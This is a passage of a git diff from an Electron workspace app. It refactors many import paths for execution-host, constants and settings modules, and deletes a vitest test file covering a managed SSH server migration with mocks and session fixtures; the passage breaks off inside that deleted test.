isWindowsAbsolutePathLike } from '../../../../shared/file-access/cross-platform-path' import { isFolderRepo } from '../../../../shared/repository/repo-kind' import type { Repo } from '../../../../shared/repository/repo-types' diff --git a/src/main/ipc/worktrees/listing/detected-provider-listing.ts b/src/main/ipc/worktrees/listing/detected-provider-listing.ts index 96155d2de66..017d525a1ed 100644 --- a/src/main/ipc/worktrees/listing/detected-provider-listing.ts +++ b/src/main/ipc/worktrees/listing/detected-provider-listing.ts @@ -3,7 +3,7 @@ import { snapshotPendingWorktreeRemovals, withUnregisteredRemovalCheckouts } from '../../../workspaces/removal/worktree-removal-listing' -import { getRepoDialableSshTargetId } from '../../../../shared/execution-host' +import { getRepoDialableSshTargetId } from '../../../../shared/execution-host/execution-host' import type { Store } from '../../../persistence/loading-store/store' import type { Repo } from '../../../../shared/repository/repo-types' import type { DetectedWorktreeListResult } from '../../../../shared/worktree/types' diff --git a/src/main/ipc/worktrees/listing/detected-worktree-scan-cache.ts b/src/main/ipc/worktrees/listing/detected-worktree-scan-cache.ts index 0390893ec40..e6ede928637 100644 --- a/src/main/ipc/worktrees/listing/detected-worktree-scan-cache.ts +++ b/src/main/ipc/worktrees/listing/detected-worktree-scan-cache.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import type { GitWorktreeInfo } from '../../../../shared/worktree/types' import type { Store } from '../../../persistence/loading-store/store' import type { Repo } from '../../../../shared/repository/repo-types' diff --git a/src/main/ipc/worktrees/listing/folder-workspace-catalog.ts b/src/main/ipc/worktrees/listing/folder-workspace-catalog.ts index 876a9e3ce3e..0958c3edee6 100644 --- a/src/main/ipc/worktrees/listing/folder-workspace-catalog.ts +++ b/src/main/ipc/worktrees/listing/folder-workspace-catalog.ts @@ -5,7 +5,7 @@ import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' import type { Store } from '../../../persistence/loading-store/store' import { mergeWorktreeMetaForWrite } from '../../../persistence/loading-store/worktree-metadata/worktree-meta-write-normalization' import { isWslMoveRepoBlocked } from '../../../persistence/moving-wsl-projects/orchestration/wsl-move-background-backoff' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { hostWorktreeTargetForRepo, readAllWorktreeMetaForHost, diff --git a/src/main/ipc/worktrees/listing/host-qualified-worktree-listing.ts b/src/main/ipc/worktrees/listing/host-qualified-worktree-listing.ts index eb98162b5f0..786fd28adae 100644 --- a/src/main/ipc/worktrees/listing/host-qualified-worktree-listing.ts +++ b/src/main/ipc/worktrees/listing/host-qualified-worktree-listing.ts @@ -2,7 +2,7 @@ import { getRepoDialableSshTargetId, parseExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { Store } from '../../../persistence/loading-store/store' import { PROVIDER_REQUEST_ID_MAX_UTF8_BYTES } from '../../../../shared/worktree/catalog/detected-worktree-provider-contract' import type { diff --git a/src/main/ipc/worktrees/listing/register-detected-worktree-handlers.ts b/src/main/ipc/worktrees/listing/register-detected-worktree-handlers.ts index a476504bf2f..0385ed0d198 100644 --- a/src/main/ipc/worktrees/listing/register-detected-worktree-handlers.ts +++ b/src/main/ipc/worktrees/listing/register-detected-worktree-handlers.ts @@ -5,7 +5,10 @@ import type { DirectSshDetectedWorktreeRequest, ProviderRequestId } from '../../../../shared/worktree/catalog/detected-worktree-provider-contract' -import { parseExecutionHostId, getRepoDialableSshTargetId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + getRepoDialableSshTargetId +} from '../../../../shared/execution-host/execution-host' import { registerSshProviderRequestAbort, getSshProviderAuthority, diff --git a/src/main/ipc/worktrees/listing/register-host-catalog-handlers.ts b/src/main/ipc/worktrees/listing/register-host-catalog-handlers.ts index 076aa086e32..628dd844faf 100644 --- a/src/main/ipc/worktrees/listing/register-host-catalog-handlers.ts +++ b/src/main/ipc/worktrees/listing/register-host-catalog-handlers.ts @@ -1,4 +1,7 @@ -import { getRepoDialableSshTargetId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoDialableSshTargetId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { ipcMain } from 'electron' import type { ListKnownWorktreesForExecutionHostArgs, diff --git a/src/main/ipc/worktrees/listing/ssh-worktree-fallback.ts b/src/main/ipc/worktrees/listing/ssh-worktree-fallback.ts index 1e232dfa0af..60ac5573673 100644 --- a/src/main/ipc/worktrees/listing/ssh-worktree-fallback.ts +++ b/src/main/ipc/worktrees/listing/ssh-worktree-fallback.ts @@ -9,7 +9,7 @@ import { import type { Repo } from '../../../../shared/repository/repo-types' import type { GitWorktreeInfo, DetectedWorktree, Worktree } from '../../../../shared/worktree/types' import type { Store } from '../../../persistence/loading-store/store' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { readWorktreeMetaForRepo } from '../../../persistence/host-qualified-worktree-meta' import { hostWorktreeTarget } from '../../../../shared/worktree/host-qualified-identity' import { getRepoOwnedWorktreeMeta } from '../../../workspaces/catalog/worktree-metadata-ownership' diff --git a/src/main/ipc/worktrees/listing/worktree-catalog-observation-hygiene.ts b/src/main/ipc/worktrees/listing/worktree-catalog-observation-hygiene.ts index 9ce89321222..2fb4e739b0f 100644 --- a/src/main/ipc/worktrees/listing/worktree-catalog-observation-hygiene.ts +++ b/src/main/ipc/worktrees/listing/worktree-catalog-observation-hygiene.ts @@ -1,5 +1,8 @@ import type { Repo } from '../../../../shared/repository/repo-types' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import type { Store } from '../../../persistence/loading-store/store' import type { NativeLocalWorktreeMetadataScanExpectation } from '../../../persistence/tracking-repos/missing-local-worktree-metadata-pruning' import type { diff --git a/src/main/ipc/worktrees/listing/worktree-host-ownership.ts b/src/main/ipc/worktrees/listing/worktree-host-ownership.ts index 877bdedff4c..c1f4ecb5a71 100644 --- a/src/main/ipc/worktrees/listing/worktree-host-ownership.ts +++ b/src/main/ipc/worktrees/listing/worktree-host-ownership.ts @@ -5,8 +5,8 @@ import { parseExecutionHostId, toSshExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' export function hasConflictingStoredWorktreeOwner( store: Store, diff --git a/src/main/ipc/worktrees/listing/wsl-distro-starting-scan.ts b/src/main/ipc/worktrees/listing/wsl-distro-starting-scan.ts index 84140f4f058..d4322a6a8b4 100644 --- a/src/main/ipc/worktrees/listing/wsl-distro-starting-scan.ts +++ b/src/main/ipc/worktrees/listing/wsl-distro-starting-scan.ts @@ -1,5 +1,5 @@ import type { Store } from '../../../persistence/loading-store/store' -import { getRepoDialableSshTargetId } from '../../../../shared/execution-host' +import { getRepoDialableSshTargetId } from '../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../shared/repository/repo-kind' import { getLocalProjectWorktreeGitOptions } from '../../../workspaces/execution-host/project-runtime-git-options' import { runAsWslUserAct, wslDistroForPath } from '../../../wsl/filesystem/wsl-unc-access-gate' diff --git a/src/main/ipc/worktrees/metadata/register-worktree-metadata-handlers.ts b/src/main/ipc/worktrees/metadata/register-worktree-metadata-handlers.ts index 3a9275c1ed7..a470a93cc4a 100644 --- a/src/main/ipc/worktrees/metadata/register-worktree-metadata-handlers.ts +++ b/src/main/ipc/worktrees/metadata/register-worktree-metadata-handlers.ts @@ -1,7 +1,7 @@ import { ipcMain } from 'electron' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' import { displayNameUpdatePinsLabel } from '../../../../shared/worktree/metadata/display-name-provenance' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { stripOrcaProvenanceMetaUpdates } from '../../../workspaces/removal/worktree-removal-safety' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' import { notifyWorktreesChanged } from '../../worktree-remote' diff --git a/src/main/ipc/worktrees/removal/execute-worktree-removal.ts b/src/main/ipc/worktrees/removal/execute-worktree-removal.ts index 20ad645dff0..35c9445f52f 100644 --- a/src/main/ipc/worktrees/removal/execute-worktree-removal.ts +++ b/src/main/ipc/worktrees/removal/execute-worktree-removal.ts @@ -1,5 +1,5 @@ import type { Repo } from '../../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' import { assertRemovalHostMatchesRepoRow } from '../repo-host-ownership' import { isFolderRepo } from '../../../../shared/repository/repo-kind' diff --git a/src/main/ipc/worktrees/removal/nested-worktree-removal.ts b/src/main/ipc/worktrees/removal/nested-worktree-removal.ts index b1d7ac2b396..96832cab06e 100644 --- a/src/main/ipc/worktrees/removal/nested-worktree-removal.ts +++ b/src/main/ipc/worktrees/removal/nested-worktree-removal.ts @@ -1,5 +1,5 @@ import type { Repo } from '../../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { GitWorktreeInfo } from '../../../../shared/worktree/types' import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' import { isFolderRepo } from '../../../../shared/repository/repo-kind' diff --git a/src/main/ipc/worktrees/removal/preserved-branch-cleanup.ts b/src/main/ipc/worktrees/removal/preserved-branch-cleanup.ts index d92b3902bdc..c4dbd824388 100644 --- a/src/main/ipc/worktrees/removal/preserved-branch-cleanup.ts +++ b/src/main/ipc/worktrees/removal/preserved-branch-cleanup.ts @@ -1,5 +1,5 @@ import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { GitPushTarget } from '../../../../shared/worktree/types' import { preservedBranchCleanupScopeKey } from '../../../../shared/git/branches/preserved-branch-cleanup' diff --git a/src/main/ipc/worktrees/removal/register-worktree-forget-handlers.ts b/src/main/ipc/worktrees/removal/register-worktree-forget-handlers.ts index 78fc3d5d8db..ca411f8ddb0 100644 --- a/src/main/ipc/worktrees/removal/register-worktree-forget-handlers.ts +++ b/src/main/ipc/worktrees/removal/register-worktree-forget-handlers.ts @@ -9,7 +9,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { isFolderRepo } from '../../../../shared/repository/repo-kind' diff --git a/src/main/ipc/worktrees/removal/register-worktree-removal-handlers.ts b/src/main/ipc/worktrees/removal/register-worktree-removal-handlers.ts index 1c0a878a0c9..b2e7588a9e8 100644 --- a/src/main/ipc/worktrees/removal/register-worktree-removal-handlers.ts +++ b/src/main/ipc/worktrees/removal/register-worktree-removal-handlers.ts @@ -1,7 +1,7 @@ import { ipcMain } from 'electron' import { getLocalWorktreeCatalogVersion } from '../../../workspaces/catalog/local-worktree-scan-generation' import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { withWorktreeSpan } from '../../../observability/instrumentation' import { areWorktreePathsEqual } from '../../../git/worktrees/catalog/worktree-path-comparison' import { parseWorktreeId } from '../../worktree-logic' diff --git a/src/main/ipc/worktrees/removal/registered-worktree-root-owner.ts b/src/main/ipc/worktrees/removal/registered-worktree-root-owner.ts index 965a26b4af7..62e2f76eb29 100644 --- a/src/main/ipc/worktrees/removal/registered-worktree-root-owner.ts +++ b/src/main/ipc/worktrees/removal/registered-worktree-root-owner.ts @@ -1,5 +1,5 @@ import { resolve } from 'node:path' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { hasRemoteFilesystemOwner } from '../../remote-filesystem-owner' diff --git a/src/main/ipc/worktrees/removal/remove-folder-workspace.ts b/src/main/ipc/worktrees/removal/remove-folder-workspace.ts index 487e655a177..f5b2ed4adb6 100644 --- a/src/main/ipc/worktrees/removal/remove-folder-workspace.ts +++ b/src/main/ipc/worktrees/removal/remove-folder-workspace.ts @@ -1,5 +1,8 @@ import type { Repo } from '../../../../shared/repository/repo-types' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' import { killAllProcessesForWorktree } from '../../../runtime/workspaces/removal/worktree-teardown' import { withWorktreeRemoveStageSpan } from '../../../observability/instrumentation' diff --git a/src/main/ipc/worktrees/removal/remove-registered-local-worktree.ts b/src/main/ipc/worktrees/removal/remove-registered-local-worktree.ts index bf3b315f7c2..94ae817e8fe 100644 --- a/src/main/ipc/worktrees/removal/remove-registered-local-worktree.ts +++ b/src/main/ipc/worktrees/removal/remove-registered-local-worktree.ts @@ -6,7 +6,7 @@ import { usesNativeWindowsRemoval } from '../../../git/worktrees/removal/windows-worktree-removal' import { pruneGitWorktrees } from '../../../git/worktrees/removal/worktree-prune-guard' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' import type { GitPushTarget, GitWorktreeInfo } from '../../../../shared/worktree/types' import { assertWorktreeUnlockedForRemoval } from '../../../../shared/worktree/removal/removal' diff --git a/src/main/ipc/worktrees/removal/remove-unregistered-worktree.ts b/src/main/ipc/worktrees/removal/remove-unregistered-worktree.ts index b538563e5b1..d338044982f 100644 --- a/src/main/ipc/worktrees/removal/remove-unregistered-worktree.ts +++ b/src/main/ipc/worktrees/removal/remove-unregistered-worktree.ts @@ -1,7 +1,7 @@ import { removeWorktree } from '../../../git/worktrees/removal/worktree-removal' import { usesNativeWindowsRemoval } from '../../../git/worktrees/removal/windows-worktree-removal' import type { Repo } from '../../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' import type { GitPushTarget, GitWorktreeInfo } from '../../../../shared/worktree/types' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' diff --git a/src/main/ipc/worktrees/removal/retry-failed-local-worktree-removal.ts b/src/main/ipc/worktrees/removal/retry-failed-local-worktree-removal.ts index a1857597c9d..715d2b0ec81 100644 --- a/src/main/ipc/worktrees/removal/retry-failed-local-worktree-removal.ts +++ b/src/main/ipc/worktrees/removal/retry-failed-local-worktree-removal.ts @@ -1,4 +1,7 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' import { retryFailedWorktreeRemoval } from '../../../workspaces/removal/worktree-background-removal' import { interruptedLocalWorktreeRemovalJob } from '../../../runtime/workspaces/removal/runtime-interrupted-local-worktree-removal' diff --git a/src/main/ipc/worktrees/removal/worktree-removal-coordinator.ts b/src/main/ipc/worktrees/removal/worktree-removal-coordinator.ts index 13014de0884..74e23b5d1f6 100644 --- a/src/main/ipc/worktrees/removal/worktree-removal-coordinator.ts +++ b/src/main/ipc/worktrees/removal/worktree-removal-coordinator.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' import type { RemoveWorktreeArgs } from '../ipc-context-schemas' diff --git a/src/main/ipc/worktrees/removal/worktree-removal-ownership.ts b/src/main/ipc/worktrees/removal/worktree-removal-ownership.ts index 0e63ed6ea4e..e3c34a4ab7c 100644 --- a/src/main/ipc/worktrees/removal/worktree-removal-ownership.ts +++ b/src/main/ipc/worktrees/removal/worktree-removal-ownership.ts @@ -3,7 +3,10 @@ import { getLocalPtyProvider } from '../../pty/provider/registry' import { clearProviderPtyState } from '../../pty/provider/state-cleanup' import { killAllProcessesForWorktree } from '../../../runtime/workspaces/removal/worktree-teardown' import type { Store } from '../../../persistence/loading-store/store' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { hasWorktreeRemovalRepoOwnerOnOtherHost } from '../../../workspaces/removal/worktree-removal-repo-owner' diff --git a/src/main/ipc/worktrees/repo-host-ownership.ts b/src/main/ipc/worktrees/repo-host-ownership.ts index d6976b186f2..d48cc55e3a3 100644 --- a/src/main/ipc/worktrees/repo-host-ownership.ts +++ b/src/main/ipc/worktrees/repo-host-ownership.ts @@ -2,7 +2,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { Store } from '../../persistence/loading-store/store' import { resolveWorktreeRemovalRepoOwner } from '../../workspaces/removal/worktree-removal-repo-owner' diff --git a/src/main/ipc/wsl/wsl-move-undo-host-connect.test.ts b/src/main/ipc/wsl/wsl-move-undo-host-connect.test.ts index 08e96562d24..9f0632f1433 100644 --- a/src/main/ipc/wsl/wsl-move-undo-host-connect.test.ts +++ b/src/main/ipc/wsl/wsl-move-undo-host-connect.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { wslMoveCutoverFixture } from '../../persistence/__fixtures__/wsl-mover/wsl-move-cutover-fixture' import { createWslMoveUndoPorts } from './wsl-move-undo-wiring' diff --git a/src/main/ipc/wsl/wsl-move-undo-wiring.ts b/src/main/ipc/wsl/wsl-move-undo-wiring.ts index a0f9474ae50..31655779a66 100644 --- a/src/main/ipc/wsl/wsl-move-undo-wiring.ts +++ b/src/main/ipc/wsl/wsl-move-undo-wiring.ts @@ -3,7 +3,7 @@ * terminals, reached over its paired runtime. */ import { z } from 'zod' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import type { WslMoveCutover } from '../../../shared/wsl-move/wsl-move-cutover' import type { Store } from '../../persistence/loading-store/store' import { wslMoveDesktopRewriteContext } from '../../persistence/moving-wsl-projects/desktop-state/wsl-move-desktop-rewrite' diff --git a/src/main/kitty/mapper.ts b/src/main/kitty/mapper.ts index 29e05828a13..3c9ef62ba57 100644 --- a/src/main/kitty/mapper.ts +++ b/src/main/kitty/mapper.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { TerminalColorOverrides } from '../../shared/terminal-themes/terminal-color-overrides' import { normalizeTerminalHexColor, diff --git a/src/main/local-builds/local-build-compatibility.ts b/src/main/local-builds/local-build-compatibility.ts index a263dce9ac9..4129092aac3 100644 --- a/src/main/local-builds/local-build-compatibility.ts +++ b/src/main/local-builds/local-build-compatibility.ts @@ -1,4 +1,4 @@ -import { SCHEMA_VERSION } from '../../shared/constants' +import { SCHEMA_VERSION } from '../../shared/orca-profiles/constants' import { getLocalBuildCompatibilityError, type LocalBuildCompatibility diff --git a/src/main/local-builds/local-build-switch.ts b/src/main/local-builds/local-build-switch.ts index 9165d69f18d..ac4e81bc80b 100644 --- a/src/main/local-builds/local-build-switch.ts +++ b/src/main/local-builds/local-build-switch.ts @@ -1,6 +1,6 @@ import { app, dialog, type BrowserWindow } from 'electron' import { translateMain } from '../i18n/main-i18n' -import { SCHEMA_VERSION } from '../../shared/constants' +import { SCHEMA_VERSION } from '../../shared/orca-profiles/constants' import { compareAppVersions } from '../../shared/app-lifecycle/identity/app-version' import { assertLocalBuildCompatibility } from './local-build-compatibility' import { loadLocalBuildCandidate, type LocalBuildCandidate } from './local-build-candidate' diff --git a/src/main/managed-server/migration/cutover/orcad-migration-delta-move.test.ts b/src/main/managed-server/migration/cutover/orcad-migration-delta-move.test.ts deleted file mode 100644 index c6187a8bd61..00000000000 --- a/src/main/managed-server/migration/cutover/orcad-migration-delta-move.test.ts +++ /dev/null @@ -1,722 +0,0 @@ -import '../../../../shared/remote-runtime/host-store/environment-store-worker-test-fixture' -import { mkdtempSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getManagedOrcadFenceEnvironmentId } from '../../../../shared/remote-runtime/ssh/managed-orcad-ssh-owner' -import { encodePairingOffer } from '../../../../shared/remote-runtime/pairing/pairing' -import { PAIRING_OFFER_VERSION } from '../../../../shared/remote-runtime/pairing/mobile-relay-pairing-offer' -import { addManagedOrcadEnvironment } from '../../../../shared/remote-runtime/host-store/runtime-environment-managed-orcad-store' -import { - listEnvironments, - resolveEnvironment -} from '../../../../shared/remote-runtime/host-store/runtime-environment-store' -import type { Repo } from '../../../../shared/repository/repo-types' -import type { SshTarget } from '../../../../shared/remote-runtime/ssh/ssh-types' -import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import { folderWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' -import { - closeTestStores, - createSqliteTestStore, - readPersistedStateJson, - writePersistedStateJson -} from '../../../persistence/persistence-test-harness' -import type { PersistedState } from '../../../../shared/persisted-state-types' -import { Store } from '../../../persistence/loading-store/store' -import { - listOrcadMigrationCutoverChainForTarget, - listOrcadMigrationSourceCutovers, - writeOrcadMigrationSourceCutover -} from '../../../persistence/migrating-orcad-catalog/cutover-journals/orcad-migration-cutover-journal' -import { fakeOrcadMigrationDestination } from './testing/orcad-migration-destination-fake' -import { keepOrcadServerVersion, runOrcadDeltaMove } from './orcad-migration-delta-move' -import { orcadSourceStoreWithout, planOrcadDeltaMove } from './orcad-migration-delta-plan' -import { - createOrcadMigrationManifest, - orcadMigrationCatalogIds -} from '../../../persistence/migrating-orcad-catalog/source/catalog/orcad-migration-manifest-export' - -import { MAX_ORCAD_MIGRATION_MANIFEST_BYTES } from '../../../../shared/orcad-migration/orcad-migration-manifest-validation' -import { retainOrcadMigrationSource } from '../../../persistence/migrating-orcad-catalog/retained-source/orcad-migration-source-retention' -import { reconcileManagedOrcadSshTargets } from '../../../persistence/migrating-orcad-catalog/retained-source/orcad-retained-source' -import { visibleRepos } from '../../../persistence/migrating-orcad-catalog/source/catalog/orcad-source-visibility' -import { SshConnectionStore } from '../../../ssh/targets/ssh-connection-store' -import { resolveHostServerOnConnect } from '../../../ssh/host-server/ssh-host-server-on-connect' -import { hostServerDepsStub } from '../../../ssh/host-server/testing/ssh-host-server-on-connect-test-deps' -import { runTargetLifecycle } from '../../../ipc/ssh/ssh-target-lifecycle-queue' - -const mocks = vi.hoisted(() => { - const state: { targetStore: unknown } = { targetStore: null } - return { state, deploy: vi.fn(), ensureTunnel: vi.fn() } -}) -vi.mock('../../../ssh/targets/ssh-target-registry', () => ({ - getSshConnectionManager: () => ({}), - getSshTargetRegistryStore: () => mocks.state.targetStore -})) -vi.mock('../../lifecycle/orcad-runtime-deployment', () => ({ - createManagedOrcadEnvironment: mocks.deploy -})) -vi.mock('../../lifecycle/orcad-managed-tunnel', () => ({ - ensureOrcadManagedTunnel: mocks.ensureTunnel -})) - -const { convertSshTargetToManagedOrcad } = await import('../../lifecycle/orcad-runtime-conversion') - -const TARGET: SshTarget = { - id: 'ssh-prod', - label: 'Production', - host: 'prod.example.com', - port: 22, - username: 'deploy', - generation: 2 -} - -let userDataPath: string -let store: Store -let sshStore: SshConnectionStore -let destination: ReturnType - -function repo(id: string, path: string): Repo { - return { - id, - path, - displayName: id, - badgeColor: '#737373', - addedAt: 1, - kind: 'git', - connectionId: TARGET.id - } -} - -beforeEach(() => { - vi.resetAllMocks() - userDataPath = mkdtempSync(join(tmpdir(), 'orcad-delta-')) - store = createSqliteTestStore(Store, { dataFile: join(userDataPath, 'orca-data.json') }) - store.addSshTarget(TARGET) - store.addRepo(repo('repo-1', '/srv/app')) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SshConnectionStore wraps the real test store it is given. - sshStore = new SshConnectionStore(store as never) - mocks.state.targetStore = sshStore - destination = fakeOrcadMigrationDestination() - mocks.ensureTunnel.mockImplementation(resolveEnvironment) - mocks.deploy.mockImplementation(async (path: string, args: { name: string }) => { - const id = getManagedOrcadFenceEnvironmentId(store.getSshTarget(TARGET.id))! - if (!(await listEnvironments(path)).some((entry) => entry.id === id)) { - await addManagedOrcadEnvironment(path, { - id, - name: args.name, - pairingCode: encodePairingOffer({ - v: PAIRING_OFFER_VERSION, - endpoint: 'ws://127.0.0.1:46768/', - deviceToken: 'device-token', - publicKeyB64: 'public-key' - }), - orcadDeployment: { - sshTargetId: TARGET.id, - sshTargetGeneration: 2, - localPort: 46_768, - remotePort: 6_768 - } - }) - } - return { outcome: 'created', environment: {}, activeVersion: '1.0.0' } - }) -}) - -afterEach(async () => { - await closeTestStores() - rmSync(userDataPath, { recursive: true, force: true }) -}) - -const now = () => new Date('2026-10-03T00:00:00.000Z') - -/** Model an older build adding repo-2 and renaming retained repo-1 after conversion. */ -async function convertedThenChangedOnOlderBuild(): Promise { - await expect( - convertSshTargetToManagedOrcad(userDataPath, { - sshTargetId: TARGET.id, - name: 'Managed', - censusHost: async () => ({ verdict: 'exited', count: 0 }), - destinationFor: () => destination, - now - }) - ).resolves.toMatchObject({ outcome: 'converted' }) - store.addRepo(repo('repo-2', '/srv/tool')) - store.updateRepo(store.getRepo('repo-1')!, { displayName: 'app-renamed' }) - await reconcileManagedOrcadSshTargets(userDataPath, store, now) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeDefined() -} - -async function deltaMove( - at: () => Date = now, - census: 'exited' | 'live' = 'exited', - connectDestination: () => Promise = async () => destination -) { - const target = store.getSshTarget(TARGET.id)! - return runOrcadDeltaMove({ - userDataPath, - store, - claims: sshStore.getOrcadRuntimeClaims(), - target, - environment: (await listEnvironments(userDataPath))[0]!, - connectDestination, - censusHost: async () => ({ verdict: census, count: census === 'live' ? 1 : 0 }), - runTargetLifecycle, - now: at - }) -} - -const LEAF = '11111111-1111-4111-8111-111111111111' - -/** What v1.4.218 leaves after a downgrade: a terminal in what it added, and client focus there. */ -async function olderBuildSessionAfterDowngrade(): Promise { - const hostId = `ssh:${TARGET.id}` as const - const group = store.createProjectGroup({ - name: 'downgrade-added', - parentPath: '/srv/folders', - connectionId: TARGET.id, - createdFrom: 'manual' - }) - const folder = store.createFolderWorkspace({ - projectGroupId: group.id, - name: 'downgrade-added workspace', - folderPath: '/srv/folders/added', - connectionId: TARGET.id - }) - const folderKey = folderWorkspaceKey(folder.id) - const environmentId = getManagedOrcadFenceEnvironmentId(store.getSshTarget(TARGET.id))! - const focus: Partial = { - activeRepoId: null, - activeWorktreeId: folderKey, - activeWorkspaceKey: folderKey, - activeWorkspaceExecutionHostId: hostId, - activeTabId: 'tab-term', - activeConnectionIdsAtShutdown: [TARGET.id] - } - store.setWorkspaceSession({ ...store.getWorkspaceSession(), ...focus }) - store.setWorkspaceSession( - { - ...store.getWorkspaceSession(hostId), - ...focus, - tabsByWorktree: { - [folderKey]: [ - { - id: 'tab-term', - ptyId: `${hostId}@@pty2:relay:1`, - worktreeId: folderKey, - title: 'Terminal 1', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1 - } - ] - }, - terminalLayoutsByTabId: { - 'tab-term': { - root: { type: 'leaf', leafId: LEAF }, - activeLeafId: LEAF, - expandedLeafId: null, - ptyIdsByLeafId: { [LEAF]: `${hostId}@@pty2:relay:1` } - } - }, - terminalPtyIncarnationsByPaneKey: { [`tab-term:${LEAF}`]: 'incarnation-1' }, - terminalTopologyRevisionByRepoId: { [folderKey]: 1 }, - activeWorktreeIdsOnShutdown: [folderKey], - unifiedTabs: { - // The managed build stamped repo-1's editor tab with its server before the downgrade. - 'repo-1::/srv/app': [ - { - id: 'tab-editor', - entityId: '/srv/app/README.md', - groupId: 'group-editor', - worktreeId: 'repo-1::/srv/app', - executionHostId: `runtime:${environmentId}`, - contentType: 'editor', - label: 'README.md', - customLabel: null, - color: null, - sortOrder: 0, - createdAt: 1 - } - ] - } - }, - hostId - ) - // Only the older build writes relay lease and consumer-recovery rows; this build loads them. - await reopenWithOlderBuildRelayRows({ - sshRemotePtyLeases: [ - { - targetId: TARGET.id, - ptyId: 'pty2:relay:1', - worktreeId: folderKey, - tabId: 'tab-term', - leafId: LEAF, - state: 'expired', - createdAt: 1, - updatedAt: 1 - } - ], - sshPtyConsumerRecoveries: [ - { - targetId: TARGET.id, - clientInstanceId: 'client-1', - serverBuildId: '0.1.0', - clientGeneration: 1, - ownerGeneration: 1, - ownerLease: '9ab3f53d-0de9-4b80-af38-0cc15f62a6ba' - } - ] - }) -} - -async function 